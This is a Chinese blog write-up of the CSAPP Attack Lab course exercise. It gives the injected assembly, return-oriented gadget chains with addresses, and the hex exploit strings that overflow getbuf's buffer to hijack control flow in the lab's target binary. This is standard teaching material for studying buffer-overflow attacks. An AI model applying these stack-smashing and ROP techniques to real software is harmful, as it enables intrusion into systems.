CSAPP attacklab

Phase 1

图1

getbuf 的栈帧如图所示,只需先输入 40 个字节,然后输入 touch1 的起始地址即可。

图2

Phase 2

需要在缓冲区内输入一段指令,从 getbuf 返回时开始执行这段指令。这段指令需要向 touch2 传入 cookie,并将返回地址设置为 touch2。

指令很容易书写

1
2
3
movq $0x59b997fa,%rdi
pushq $0x4017ec
ret

查看 %rsp 得到地址,这就是缓冲区的起始地址。

图3

所以根据上面的汇编指令得到相应的机器代码放入缓冲区,并将 getbuf 的返回地址替换为缓冲区的起始地址。

Phase 3

和 phase 2 有两处区别:一是 %rdi 中存放的不再是 cookie 而是 cookie 的地址,二是 hexmatch 会写栈,getbuf 的栈帧可能会被破坏。

期望的栈帧如下:

图4

Phase 4

考虑使用这两组指令,将栈上的 cookie 赋给 %rax,再送给 %rdi

1
2
3
4
5
popq %rax
ret

movq %rax, %rdi
ret

对应的机器代码为

1
2
3
4
5
58
c3

48 89 c7
c3

可以在 0x4019ab 和 0x4019c5 找到。

Phase 5

感觉很困难,韩了一份别人的:

  • 先取得栈顶指针的位置
  • 取出存在栈中得偏移量的值
  • 通过lea (%rdi,%rsi,1),%rax得到 cookie 的地址
  • 将 cookie 的地址传给%rdi
  • 调用touch 3
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#地址:0x401aad
movq %rsp, %rax
ret

#地址:0x4019a2
movq %rax, %rdi
ret

#地址:0x4019cc
popq %rax
ret

#地址:0x4019dd
movl %eax, %edx
ret

#地址:0x401a70
movl %edx, %ecx
ret

#地址:0x401a13
movl %ecx, %esi
ret

#地址:0x4019d6
lea (%rdi,%rsi,1),%rax
ret

#地址:0x4019a2
movq %rax, %rdi
ret

图5

(图里 cookie 和 touch3 好像写反了)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
ad 1a 40 00 00 00 00 00
a2 19 40 00 00 00 00 00
cc 19 40 00 00 00 00 00
48 00 00 00 00 00 00 00
dd 19 40 00 00 00 00 00
70 1a 40 00 00 00 00 00
13 1a 40 00 00 00 00 00
d6 19 40 00 00 00 00 00
a2 19 40 00 00 00 00 00
fa 18 40 00 00 00 00 00
35 39 62 39 39 37 66 61

![图6](/img/attacklab 6.png)

撒花!


CSAPP attacklab
https://je3ter.github.io/2024/02/17/CSAPP/CSAPP attacklab/
作者
Je3ter
发布于
2024年2月17日
许可协议